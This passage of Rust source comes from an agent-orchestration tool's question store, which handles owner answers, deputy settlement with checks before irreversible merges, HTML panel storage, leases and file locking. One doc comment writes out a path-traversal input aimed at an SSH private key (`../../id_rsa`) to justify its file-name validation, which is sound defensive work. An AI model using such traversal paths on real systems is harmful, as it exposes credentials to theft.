882            bail!(
883                "question {} needs an answer; an empty one tells the agent \
884                 nothing and it would guess anyway",
885                self.short()
886            );
887        }
888        match &answer {
889            Answer::Choice(c) if self.free_text() => bail!(
890                "question {} asks for free text, so `{c}` cannot be a choice \
891                 it offered",
892                self.short()
893            ),
894            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
895                "`{c}` is not one of the choices question {} offers: {}",
896                self.short(),
897                self.choices.join(", ")
898            ),
899            Answer::Text(_) if !self.free_text() => bail!(
900                "question {} is multiple choice; answer with one of: {}",
901                self.short(),
902                self.choices.join(", ")
903            ),
904            _ => {}
905        }
906        if body.eq_ignore_ascii_case(crate::land::HOLD) && self.actions.contains_key(body) {
907            bail!("hold cannot execute a question action");
908        }
909        self.answered_at = Some(Timestamp::now());
910        self.answer = Some(answer);
911        self.status = QuestionStatus::Answered;
912        Ok(())
913    }
914
915    /// Give up on an answer, keeping the record of what was asked.
916    ///
917    /// An answered question is left alone, which matters at exactly one moment:
918    /// the owner answering in the same second the wait's deadline passes. The
919    /// answer is the thing worth keeping there, and it has already been written
920    /// by another process.
921    ///
922    /// The reason is appended to [`Question::detail`] because the on-disk shape
923    /// is a contract with the front end and has no field of its own for it -
924    /// and "asked at 3am, nobody home for a day" belongs with the question, not
925    /// only in a log the operator will never open.
926    pub fn abandon(&mut self, why: impl Into<String>) {
927        if !self.status.open() {
928            return;
929        }
930        self.status = QuestionStatus::Abandoned;
931        let why = why.into();
932        let why = why.trim();
933        if why.is_empty() {
934            return;
935        }
936        if !self.detail.is_empty() {
937            self.detail.push('\n');
938        }
939        self.detail.push_str("\n_Abandoned: ");
940        self.detail.push_str(why);
941        self.detail.push_str("._\n");
942    }
943
944    /// The answer as the asking agent should read it.
945    ///
946    /// One string for both kinds of question: the agent's prompt says "the
947    /// owner answered:", and a chosen option and a typed sentence are the same
948    /// thing at that point. `None` while the question is open or abandoned, so
949    /// a caller cannot mistake silence for a decision.
950    pub fn resolution(&self) -> Option<String> {
951        match (self.status, &self.answer) {
952            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
953                Some(a.clone())
954            }
955            _ => None,
956        }
957    }
958
959    /// A deputy recording that the owner's own words settled the question.
960    ///
961    /// The owner decided in free text ("setup done") on a question that offers
962    /// choices, so no choice was ever tapped. This records `label` as the
963    /// answer - and nothing else: applying it is the daemon's existing path
964    /// for an answered conductor question. Refused unless the caller is this
965    /// question's deputy seat, `label` is one of the offered choices, and
966    /// `quote` appears verbatim in something the owner said; the quote is
967    /// kept in the thread as an agent turn so the record shows what the
968    /// decision rests on.
969    pub fn settle_by_deputy(
970        &mut self,
971        seat: &str,
972        label: &str,
973        quote: &str,
974        note: Option<&str>,
975    ) -> Result<()> {
976        if self.routed_task.is_some() {
977            bail!("task decisions are handled by the task chat, not a deputy");
978        }
979        let Some(deputy) = &self.deputy else {
980            bail!("question {} has no deputy", self.short());
981        };
982        let own = deputy.seat.as_ref().map(|s| s.key.as_str());
983        if own != Some(seat) {
984            bail!("only the deputy of question {} may settle it", self.short());
985        }
986        if !self.choices.iter().any(|c| c == label) {
987            bail!(
988                "`{label}` is not one of the choices offered on question {}",
989                self.short()
990            );
991        }
992        let quote = quote.trim();
993        if quote.is_empty()
994            || !self
995                .thread
996                .iter()
997                .any(|t| t.who == Who::Operator && t.body.contains(quote))
998        {
999            bail!(
1000                "the quote is not something the owner said on question {}",
1001                self.short()
1002            );
1003        }
1004        // The owner's latest message is what counts (an earlier one may since
1005        // have been qualified or withdrawn).
1006        let latest = self
1007            .thread
1008            .iter()
1009            .rev()
1010            .find(|t| t.who == Who::Operator)
1011            .map(|t| {
1012                if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
1013                    t.body.as_str()
1014                } else {
1015                    t.body.trim()
1016                }
1017            });
1018        if let Some(message) = latest {
1019            crate::consult::validate_batch_effect(self, label, message, quote)?;
1020        }
1021        if self.node == crate::github_text::ASK_NODE && label == crate::github_text::USE_MY_TEXT {
1022            let message = latest.context("use my text requires a current owner instruction with the literal replacement title")?;
1023            crate::consult::validate_effect(self, label, message, quote, true)?;
1024        } else if crate::deputy::merge_gated(self) {
1025            // The merge is irreversible and a say is not a decision. `hold` must
1026            // be the latest message exactly. For `merge`, whether the words are
1027            // a clear, unhedged instruction is the deputy's judgement alone;
1028            // all magi checks is that the quote is a verbatim part of that
1029            // latest message.
1030            let ok = if label == crate::land::APPROVE {
1031                latest.is_some_and(|m| match &self.merge_target {
1032                    Some(target) => m == format!("merge {}", target.head) && quote == m,
1033                    None => m.contains(quote),
1034                })
1035            } else {
1036                latest.is_some_and(|m| crate::merge_decision::exact_owner_choice(label, m, quote))
1037            };
1038            if !ok {
1039                bail!(
1040                    "on a merge approval `{label}` settles it only when the quote is a \
1041                     verbatim part of the owner's latest message ({}); if the wording is \
1042                     doubtful, ask what they mean with `--thread` instead",
1043                    if label == crate::land::HOLD {
1044                        "for `hold`, the whole message"
1045                    } else {
1046                        "the quote must be the instruction itself"
1047                    }
1048                );
1049            }
1050        } else if self.node == crate::github_text::ASK_NODE
1051            && crate::deputy::destructive(self, label)
1052        {
1053            if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
1054                bail!(
1055                    "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
1056                );
1057            }
1058        } else if crate::deputy::destructive(self, label)
1059            && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
1060        {
1061            bail!(
1062                "`{label}` cannot be undone; it settles question {} only when the owner's \
1063                 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
1064                 / not / question); ask what they mean with `--thread` instead",
1065                self.short()
1066            );
1067        }
1068        self.thread.push(Turn {
1069            who: Who::Agent,
1070            body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
1071            at: Timestamp::now(),
1072            note: note
1073                .map(str::trim)
1074                .filter(|n| !n.is_empty())
1075                .map(str::to_owned),
1076        });
1077        self.delivered_turns = self.thread.len();
1078        self.answer(Answer::Choice(label.to_owned()))
1079    }
1080
1081    /// The owner speaking back without answering: a request for context, a
1082    /// clarifying question, anything short of a decision.
1083    ///
1084    /// Rejects the same two states [`Question::answer`] does, and for the same
1085    /// reason - a question with a recorded [`Answer`] or an abandoned one has
1086    /// no run left listening for a reply - and an empty turn, which would tell
1087    /// the agent nothing it didn't already know. Never changes `status`: the
1088    /// question stays [`QuestionStatus::Open`], because the owner did not
1089    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
1090    /// counting this as the one question it always was.
1091    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
1092        match self.status {
1093            QuestionStatus::Answered => bail!(
1094                "question {} was already answered; there is nothing left to \
1095                 discuss",
1096                self.short()
1097            ),
1098            QuestionStatus::Abandoned => bail!(
1099                "question {} was abandoned and the run behind it is gone",
1100                self.short()
1101            ),
1102            QuestionStatus::Open => {}
1103        }
1104        let body = body.into();
1105        if body.trim().is_empty() {
1106            bail!("a message to question {} cannot be empty", self.short());
1107        }
1108        self.thread.push(Turn {
1109            who: Who::Operator,
1110            body,
1111            at: Timestamp::now(),
1112            note: None,
1113        });
1114        Ok(())
1115    }
1116
1117    /// The agent replying to the owner's last word, in place of an answer:
1118    /// same question, same id, another round.
1119    ///
1120    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
1121    /// on the same reasoning [`Questions::put_panel`] replaces a panel
1122    /// wholesale: the whole point of asking back is that what should be
1123    /// offered next may have changed, and a caller that wanted the old set
1124    /// unchanged can simply pass it again. An empty `Vec` means free text,
1125    /// exactly as it does when the question is first asked.
1126    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1127        match self.status {
1128            QuestionStatus::Answered => bail!(
1129                "question {} was already answered; replying now would not \
1130                 reach anyone",
1131                self.short()
1132            ),
1133            QuestionStatus::Abandoned => bail!(
1134                "question {} was abandoned and the run behind it is gone",
1135                self.short()
1136            ),
1137            QuestionStatus::Open => {}
1138        }
1139        let body = body.into();
1140        if body.trim().is_empty() {
1141            bail!("a reply to question {} cannot be empty", self.short());
1142        }
1143        // An action whose label is no longer offered could never fire.
1144        self.actions.retain(|label, _| choices.contains(label));
1145        self.choices = choices;
1146        let unread = self.unread_from_owner().is_some();
1147        self.thread.push(Turn {
1148            who: Who::Agent,
1149            body,
1150            at: Timestamp::now(),
1151            note: None,
1152        });
1153        // The agent has read everything up to its own reply - but only if
1154        // nothing the owner said in the meantime is still unread. A second say
1155        // that landed after the agent's last look must stay undelivered.
1156        if !unread {
1157            self.delivered_turns = self.thread.len();
1158        }
1159        Ok(())
1160    }
1161
1162    /// What the owner said that the agent has not read yet, oldest first,
1163    /// joined. `None` unless the question is open and such a turn exists.
1164    ///
1165    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
1166    /// second owner turn it never saw, which leaves the last turn the agent's
1167    /// and the ball apparently back with the owner while a say is still unread.
1168    pub fn unread_from_owner(&self) -> Option<String> {
1169        if !self.status.open() {
1170            return None;
1171        }
1172        let said = self.undelivered_owner_turns();
1173        (!said.is_empty()).then(|| said.join("\n\n"))
1174    }
1175
1176    /// Owner turns the agent has not been handed yet, oldest first, whatever
1177    /// the question's status. [`Question::unread_from_owner`] adds the "still
1178    /// open" guard the waiter and the deputy rely on; an answer being handed
1179    /// over needs the says that came before it even though the question is
1180    /// closed by then.
1181    pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1182        let from = self.delivered_turns.min(self.thread.len());
1183        self.thread[from..]
1184            .iter()
1185            .filter(|t| t.who == Who::Operator)
1186            .map(|t| t.body.as_str())
1187            .collect()
1188    }
1189
1190    /// When the conversation last moved: the newest thread turn, or the asking
1191    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
1192    /// every reply, so a deadline runs from here and not from `asked_at`.
1193    pub fn last_activity(&self) -> i64 {
1194        self.thread
1195            .iter()
1196            .map(|t| t.at.as_second())
1197            .max()
1198            .unwrap_or(0)
1199            .max(self.asked_at.as_second())
1200    }
1201
1202    /// Is the ball in the agent's court?
1203    ///
1204    /// True from the moment the owner speaks back until the agent's next
1205    /// [`Question::reply`], and never on a fresh or an already-settled
1206    /// question. [`QuestionStatus`] does not move for either side of this -
1207    /// see [`Question::say`] - so this is the one place that state is
1208    /// readable at all, which is why [`crate::web::QuestionView`] carries it
1209    /// separately rather than asking the phone to infer it from the thread.
1210    pub fn waiting_on_agent(&self) -> bool {
1211        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1212    }
1213
1214    /// Should a notification go out right now?
1215    ///
1216    /// Always, for the very first ask: [`Question::thread`] is still empty, so
1217    /// there is no earlier operator turn to have already caught anyone's
1218    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
1219    /// since the owner's own last word - see that constant for why the window
1220    /// exists at all and why its length is not configurable.
1221    fn should_notify(&self, now: Timestamp) -> bool {
1222        let Some(last) = self
1223            .thread
1224            .iter()
1225            .rev()
1226            .find(|t| t.who == Who::Operator)
1227            .map(|t| t.at)
1228        else {
1229            return true;
1230        };
1231        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1232    }
1233}
1234
1235/// A question store on disk.
1236#[derive(Debug, Clone)]
1237pub struct Questions {
1238    root: PathBuf,
1239}
1240
1241impl Questions {
1242    /// The operator's questions, `<home>/questions`.
1243    pub fn open() -> Self {
1244        Self::at(crate::run::home().join("questions"))
1245    }
1246
1247    /// A store at an explicit root. Tests use this, which is why none of them
1248    /// need the operator's real home.
1249    pub fn at(root: PathBuf) -> Self {
1250        Self { root }
1251    }
1252
1253    /// Directory holding the question files.
1254    pub fn root(&self) -> &Path {
1255        &self.root
1256    }
1257
1258    /// Path for one question id.
1259    pub fn path_of(&self, id: &str) -> PathBuf {
1260        self.root.join(format!("{id}.json"))
1261    }
1262
1263    /// Directory holding one question's panel, `<root>/<id>.panel`.
1264    pub fn panel_dir(&self, id: &str) -> PathBuf {
1265        self.root.join(format!("{id}{PANEL_DIR}"))
1266    }
1267
1268    /// Store a panel: the html, plus `assets` copied in under their base
1269    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
1270    /// question, or the record on disk will deny having a panel that exists.
1271    ///
1272    /// The assets are **copied, not referenced**. An agent authors its panel
1273    /// inside a candidate worktree and points at files there, and `magi fold`
1274    /// deletes those worktrees; a question is the permanent record of a
1275    /// decision the owner took, so a panel that referenced its own images
1276    /// would render as broken boxes exactly when someone went back to ask why
1277    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
1278    /// does, and so does the [`std::fs::metadata`] the size is measured with,
1279    /// so the bytes counted and the bytes written are the same target file's -
1280    /// which is the intent: storing a link would leave the panel pointing at
1281    /// the worktree again, one indirection further away.
1282    ///
1283    /// Everything that can be rejected is rejected before the first byte is
1284    /// written, and the panel is then assembled in a scratch directory and
1285    /// swapped in. So a refusal leaves the previous panel intact, and a
1286    /// success replaces it *wholesale* rather than merging: a re-asked
1287    /// question showing one attempt's diff next to another attempt's table
1288    /// would be a panel neither agent ever wrote.
1289    ///
1290    /// [`put`]: Questions::put
1291    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1292        if !valid_asset_name(&q.id) {
1293            bail!(
1294                "question id `{}` is not a name magi will build a panel path from",
1295                q.id
1296            );
1297        }
1298        if html.trim().is_empty() {
1299            bail!(
1300                "question {} was handed an empty panel; an empty frame reads to \
1301                 the owner as \"the agent had nothing to say\", which is a lie",
1302                q.short()
1303            );
1304        }
1305
1306        // Names, then sizes, then writing - in that order, so nothing below
1307        // can leave a partial panel on disk.
1308        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1309        for src in assets {
1310            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1311            if !valid_asset_name(name) {
1312                bail!(
1313                    "panel asset `{}` cannot be stored: a panel file name must \
1314                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1315                    src.display()
1316                );
1317            }
1318            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1319                bail!(
1320                    "two panel assets are both named `{name}` - {} and {} - and \
1321                     the panel can only show one of them; rename one at the source",
1322                    first.display(),
1323                    src.display()
1324                );
1325            }
1326            named.push((name.to_owned(), src.as_path()));
1327        }
1328
1329        let mut total = html.len() as u64;
1330        for (_, src) in &named {
1331            let meta = std::fs::metadata(src)
1332                .with_context(|| format!("stat panel asset {}", src.display()))?;
1333            if !meta.is_file() {
1334                bail!(
1335                    "panel asset `{}` is not a file; a panel is html plus files \
1336                     copied beside it",
1337                    src.display()
1338                );
1339            }
1340            total = total.saturating_add(meta.len());
1341        }
1342        if total > PANEL_MAX_BYTES {
1343            bail!(
1344                "panel for question {} is {total} bytes, over magi's cap of \
1345                 {PANEL_MAX_BYTES} bytes; nothing was written",
1346                q.short()
1347            );
1348        }
1349
1350        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1351        let dir = self.panel_dir(&q.id);
1352        std::fs::create_dir_all(&self.root)
1353            .with_context(|| format!("create {}", self.root.display()))?;
1354        clear_dir(&tmp)?;
1355        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1356        if let Err(e) = fill_panel(&tmp, html, &named) {
1357            // A copy that dies halfway must not become the panel, and must not
1358            // leave scratch behind for the next call to inherit.
1359            let _ = std::fs::remove_dir_all(&tmp);
1360            return Err(e);
1361        }
1362        clear_dir(&dir)?;
1363        std::fs::rename(&tmp, &dir)
1364            .with_context(|| format!("move panel into {}", dir.display()))?;
1365
1366        q.panel = true;
1367        q.assets = named.into_iter().map(|(n, _)| n).collect();
1368        q.assets.sort_unstable();
1369        Ok(())
1370    }
1371
1372    /// The panel's html, or `None` when the question has no panel.
1373    ///
1374    /// `None` rather than an error for a missing panel because the caller is a
1375    /// web handler whose answer is 404 either way, and an unreadable panel is
1376    /// not a reason to fail the question it belongs to.
1377    pub fn panel_html(&self, id: &str) -> Option<String> {
1378        if !valid_asset_name(id) {
1379            return None;
1380        }
1381        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1382    }
1383
1384    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1385    /// not a name a panel file can have".
1386    ///
1387    /// Rejects a name failing [`valid_asset_name`] **before touching the
1388    /// filesystem**, which is the whole point of the second check: the name
1389    /// arrives from a URL, the directory is on disk where any process could
1390    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1391    /// operating system would resolve perfectly happily. The two callers'
1392    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1393    /// `Result<Option<_>>` rather than one flattened `Option`.
1394    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1395        if !valid_asset_name(name) {
1396            bail!(
1397                "`{name}` is not a panel file name; it must match \
1398                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1399            );
1400        }
1401        if !valid_asset_name(id) {
1402            return Ok(None);
1403        }
1404        let dir = self.panel_dir(id);
1405        if !dir.is_dir() {
1406            return Ok(None);
1407        }
1408        let path = dir.join(name);
1409        match std::fs::read(&path) {
1410            Ok(bytes) => Ok(Some(bytes)),
1411            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1412            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1413        }
1414    }
1415
1416    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1417    ///
1418    /// Succeeds when there is nothing to delete, so a caller cleaning up does
1419    /// not have to know whether a panel was ever written. The question record
1420    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1421    /// in the same order as everywhere else here.
1422    ///
1423    /// [`put_panel`]: Questions::put_panel
1424    pub fn drop_panel(&self, id: &str) -> Result<()> {
1425        if !valid_asset_name(id) {
1426            bail!("question id `{id}` is not a name magi will build a panel path from");
1427        }
1428        clear_dir(&self.panel_dir(id))?;
1429        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1430    }
1431
1432    /// Path of the lease sidecar for one question id.
1433    pub fn lease_path(&self, id: &str) -> PathBuf {
1434        self.root.join(format!("{id}.lease"))
1435    }
1436
1437    /// The lease on a question, if a readable one exists.
1438    pub fn read_lease(&self, id: &str) -> Option<Lease> {
1439        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1440        serde_json::from_str(&body).ok()
1441    }
1442
1443    /// Say, as `kind`, that something is alive and waiting on this question.
1444    ///
1445    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1446    /// a reason to abandon a wait - the worst it costs is the waiter deciding
1447    /// the holder is gone a little early, and that is what the delivery guard
1448    /// (the seat still being busy) is there for.
1449    pub fn beat(&self, id: &str, kind: WaiterKind) {
1450        let lease = Lease {
1451            kind,
1452            pid: std::process::id(),
1453            beat_at: Timestamp::now(),
1454        };
1455        let path = self.lease_path(id);
1456        let tmp = path.with_extension("lease.tmp");
1457        let written = std::fs::create_dir_all(&self.root)
1458            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1459            .and_then(|()| std::fs::rename(&tmp, &path));
1460        if let Err(e) = written {
1461            tracing::debug!("could not beat the lease on question {id}: {e}");
1462        }
1463    }
1464
1465    /// Remove the lease sidecar. Absent is fine.
1466    pub fn drop_lease(&self, id: &str) {
1467        let _ = std::fs::remove_file(self.lease_path(id));
1468    }
1469
1470    /// Read-modify-write one question under a short exclusive lock, so the
1471    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1472    /// each other with a copy that predates the others.
1473    ///
1474    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1475    /// a torn file and does nothing for two writers that both read the same
1476    /// version first. Everything that changes a question that can still be
1477    /// answered goes through here: `f` sees the current record, not one loaded
1478    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1479    /// mid-update and is broken.
1480    pub fn update<T>(
1481        &self,
1482        id: &str,
1483        f: impl FnOnce(&mut Question) -> Result<T>,
1484    ) -> Result<(Question, T)> {
1485        std::fs::create_dir_all(&self.root)
1486            .with_context(|| format!("create {}", self.root.display()))?;
1487        let lock = self.root.join(format!("{id}.lock"));
1488        let started = std::time::Instant::now();
1489        let retry = crate::lock_file::Retry::new(Some(started + LOCK_STALE));
1490        loop {
1491            match retry.create(&lock) {
1492                Ok(_) => break,
1493                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1494                    let stale = std::fs::metadata(&lock)
1495                        .and_then(|m| m.modified())
1496                        .ok()
1497                        .and_then(|t| t.elapsed().ok())
1498                        .is_some_and(|age| age > LOCK_STALE);
1499                    if stale {
1500                        let _ = std::fs::remove_file(&lock);
1501                    } else if started.elapsed() > LOCK_STALE {
1502                        bail!("could not lock question {id}");
1503                    } else {
1504                        std::thread::sleep(Duration::from_millis(15));
1505                    }
1506                }
1507                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1508            }
1509        }
1510        struct Unlock(PathBuf);
1511        impl Drop for Unlock {
1512            fn drop(&mut self) {
1513                let _ = std::fs::remove_file(&self.0);
1514            }
1515        }
1516        let _guard = Unlock(lock);
1517        let mut q = read_path(&self.path_of(id))?;
1518        let was_dismissed = q.resolution().as_deref() == Some(crate::merge_decision::DISMISS);
1519        let out = f(&mut q)?;
1520        if !was_dismissed && q.resolution().as_deref() == Some(crate::merge_decision::DISMISS) {
1521            let home = self.root.parent().context("question store has no home")?;
1522            crate::merge_decision::dismiss(home, &q)?;
1523        }
1524        self.put(&mut q)?;
1525        Ok((q, out))
1526    }
1527
1528    /// File a component-owned question only when every choice has an effect.
1529    /// Legacy records remain readable; this is deliberately a creation check.
1530    pub fn put_executable(&self, q: &mut Question) -> Result<()> {
1531        anyhow::ensure!(
1532            q.actions.keys().all(|c| q.choices.contains(c)),
1533            "question action names an unoffered choice"
1534        );
1535        for label in &q.choices {
1536            anyhow::ensure!(
1537                crate::choice_effect::describe(q, label).is_some(),
1538                "question node {} offers an unsupported choice: {label}",
1539                q.node
1540            );
1541        }
1542        self.put(q)
1543    }
1544
1545    /// Write a question, atomically, so a process killed mid-write leaves the
1546    /// previous state readable rather than a truncated file that would strand
1547    /// the run waiting on it.
1548    pub fn put(&self, q: &mut Question) -> Result<()> {
1549        if q.status.open()
1550            && q.routed_task.is_none()
1551            && let Some(home) = self.root.parent()
1552        {
1553            let tasks = crate::queue::Queue::at(home.join("queue")).list();
1554            q.routed_task = crate::task_chat::task_of(q, &tasks).filter(|id| {
1555                crate::task_chat::chat_routable(q) && crate::task_chat::enabled_for(&tasks, id)
1556            });
1557        }
1558        std::fs::create_dir_all(&self.root)
1559            .with_context(|| format!("create {}", self.root.display()))?;
1560        let body = serde_json::to_string_pretty(q).context("serialize question")?;
1561        let path = self.path_of(&q.id);
1562        let tmp = path.with_extension("json.tmp");
1563        let is_new = !path.exists();
1564        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1565        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1566        // A first write of an open question pages the operator, so a separate
1567        // notification about the same task or run is now a second page.
1568        if is_new
1569            && q.status.open()
1570            && q.node != crate::bump::NOTICE_NODE
1571            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1572        {
1573            crate::notices::quiet_for(home, q);
1574        }
1575        Ok(())
1576    }
1577
1578    /// Load a question by id or unambiguous id prefix.
1579    pub fn get(&self, id: &str) -> Result<Question> {
1580        let resolved = self.resolve_id(id)?;
1581        let q = read_path(&self.path_of(&resolved))?;
1582        Ok(self.with_repair_choice(q))
1583    }
1584
1585    fn with_repair_choice(&self, mut q: Question) -> Question {
1586        // Older local release approvals already persisted their displayed head
1587        // in the watch record. Recover that binding, never today's forge head.
1588        if q.status.open()
1589            && q.merge_target.is_none()
1590            && let Some(home) = self.root.parent()
1591            && let Some(target) = crate::release_watch::approval_target(home, &q)
1592            && let Ok((current, ())) = self.update(&q.id, |current| {
1593                if current.status.open() && current.merge_target.is_none() {
1594                    current.merge_target = Some(target.clone());
1595                }
1596                Ok(())
1597            })
1598        {
1599            q = current;
1600        }
1601        // A previous routing version treated targetless release approvals as
1602        // ordinary recovery decisions. If no saved head can be recovered,
1603        // restore their compatibility card instead of leaving an approval
1604        // that neither the chat button nor task control can answer.
1605        if q.status.open()
1606            && q.routed_task.is_some()
1607            && !crate::task_chat::chat_routable(&q)
1608            && let Ok((current, ())) =
1609                self.update(&q.id, |current| {
1610                    if current.status.open() && !crate::task_chat::chat_routable(current) {
1611                        if current.consult.as_ref().is_some_and(|c| {
1612                            current.routed_chat.as_deref() == Some(c.talk.as_str())
1613                        }) {
1614                            current.consult = None;
1615                        }
1616                        current.routed_task = None;
1617                        current.routed_chat = None;
1618                    }
1619                    Ok(())
1620                })
1621        {
1622            q = current;
1623        }
1624        if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1625            && q.node == crate::land::APPROVAL_NODE
1626            && let Some(home) = self.root.parent()
1627            && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1628        {
1629            let mut upgraded = q.clone();
1630            if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1631                match self.update(&q.id, |current| {
1632                    crate::land::upgrade_repair_choice(current, &state);
1633                    Ok(())
1634                }) {
1635                    Ok((current, ())) => return current,
1636                    Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1637                }
1638            }
1639        }
1640        q
1641    }
1642
1643    /// Every question on disk: open first, then newest first.
1644    ///
1645    /// Open first because that ordering is the product - the list exists to
1646    /// show the operator what has stopped, and an answered question is history
1647    /// underneath it. Unreadable files are skipped rather than fatal: one
1648    /// corrupt question must not take the web UI down, and must certainly not
1649    /// hide the open question the operator was looking for.
1650    pub fn list(&self) -> Vec<Question> {
1651        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1652            .into_iter()
1653            .flatten()
1654            .flatten()
1655            .map(|e| e.path())
1656            .filter(|p| p.extension().is_some_and(|x| x == "json"))
1657            .filter_map(|p| read_path(&p).ok())
1658            .map(|q| self.with_repair_choice(q))
1659            .collect();
1660        all.sort_unstable_by(|a, b| {
1661            let rank = |q: &Question| u8::from(!q.status.open());
1662            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1663        });
1664        all
1665    }
1666
1667    /// Open questions belonging to one run, newest first.
1668    ///
1669    /// Used to decide whether a parked run can be resumed: while this is
1670    /// non-empty, nothing about the run has changed and no agent should be
1671    /// spawned for it.
1672    pub fn open_for(&self, run: &str) -> Vec<Question> {
1673        self.list()
1674            .into_iter()
1675            .filter(|q| q.status.open() && q.run == run)
1676            .collect()
1677    }
1678
1679    /// Abandon every open question belonging to a run, and report how many.
1680    ///
1681    /// Called when a run's record is deleted. The agent that asked died with
1682    /// the run, so there is nobody left to hand an answer to, and a question
1683    /// left open would keep asking the operator for a decision that can no
1684    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1685    /// イルが見つかりません" with two buttons, for a run whose directory had
1686    /// been gone for two hours.
1687    ///
1688    /// Abandoned rather than deleted, because [`Question::abandon`] already
1689    /// means "this can no longer be answered" and the record of having asked
1690    /// is worth keeping. Answered questions are left exactly as they are.
1691    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1692        let mut abandoned = 0;
1693        for mut q in self.open_for(run) {
1694            q.abandon(why);
1695            self.put(&mut q)?;
1696            abandoned += 1;
1697        }
1698        Ok(abandoned)
1699    }
1700
1701    /// Abandon a run's open questions once `status` says the run is not
1702    /// coming back, worded with what it actually became.
1703    ///
1704    /// The run-deleted case above and this one are the same fact - nobody is
1705    /// left to read an answer - reached by two different doors. This is the
1706    /// one for a run that finished on its own: merged, reached `Ready` with
1707    /// nothing left to do, failed outright with no established point to
1708    /// resume from, or every candidate agreed, with evidence, that nothing
1709    /// belonged in the worktree. Those are exactly the statuses
1710    /// [`RunStatus::resumable`]
1711    /// excludes, and that is the line this draws too - deliberately not
1712    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1713    /// over. Both of those can still be picked back up with the candidates,
1714    /// the review round and the seat sessions already on disk, so a question
1715    /// asked mid-round may yet get a real answer from a real resume, and
1716    /// folding it here would be exactly the mistake this function exists to
1717    /// avoid on the other side - answering back into a run that no longer
1718    /// exists to read it.
1719    ///
1720    /// A no-op, not an error, when `status` is still resumable or when there
1721    /// was nothing open to begin with - callers reach this from more than one
1722    /// place a run can settle, and a second call finding nothing left to
1723    /// abandon is the expected case, not a bug.
1724    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1725        if status.resumable() {
1726            return Ok(0);
1727        }
1728        let why = format!(
1729            "run {run} {}, so nothing is waiting for this answer",
1730            status.as_str()
1731        );
1732        // A post-merge notice is the exception: it is filed *because* the run
1733        // merged, and no agent waits on it - it is a to-do for the owner, not
1734        // a question a dead seat asked. Abandoning it here would erase the
1735        // only alert the moment the run settles.
1736        let mut abandoned = 0;
1737        for mut q in self.open_for(run) {
1738            if q.node == crate::bump::NOTICE_NODE {
1739                continue;
1740            }
1741            // A routed task decision not yet delivered is a pending message
1742            // for the chat, not a question the dead seat waits on; the
1743            // sweep retires it once it is queued.
1744            if q.routed_task.is_some() && q.routed_chat.is_none() {
1745                continue;
1746            }
1747            q.abandon(&why);
1748            self.put(&mut q)?;
1749            abandoned += 1;
1750        }
1751        Ok(abandoned)
1752    }
1753
1754    /// Expand an id prefix to exactly one question id. The short id the phone
1755    /// and the reports show is a suffix, so that is accepted too.
1756    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1757        use crate::queue::{Reference, record_ids, resolve_reference};
1758        let ids = record_ids(&self.root, "json")?;
